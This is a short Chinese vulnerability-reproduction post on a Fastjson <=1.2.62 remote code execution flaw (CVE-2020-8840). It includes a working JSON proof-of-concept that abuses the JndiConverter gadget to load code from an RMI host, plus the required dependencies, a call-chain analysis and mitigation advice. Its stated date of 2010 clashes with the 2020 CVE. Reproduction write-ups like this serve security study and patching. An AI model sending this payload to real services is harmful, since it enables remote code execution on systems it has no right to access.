Fastjson <=1.2.62 远程代码执行-漏洞复现
2010 年 2 月 25 日
影响范围:
Fastjson<=1.2.62
需要开启autotype
poc:
String text1 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"}";
pom:
com.alibaba fastjson 1.2.62 commons-collections commons-collections 3.1
tips:这里需要另外导入jar包才能测试
该黑名单主要来自于jackson- CVE-2020-8840
https://nvd.nist.gov/vuln/detail/CVE-2020-8840
漏洞复现:
漏洞分析
这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数
其父类中在toObject函数中调用了它,但是仍然不满足调用条件,因此继续溯源
可以看到在setAsText函数中调用了toObject函数,并且setAstext满足调用规则,因此payload即打
修复建议:
1.关了autotype,用白名单(推荐)
2.升级jdk()不太现实)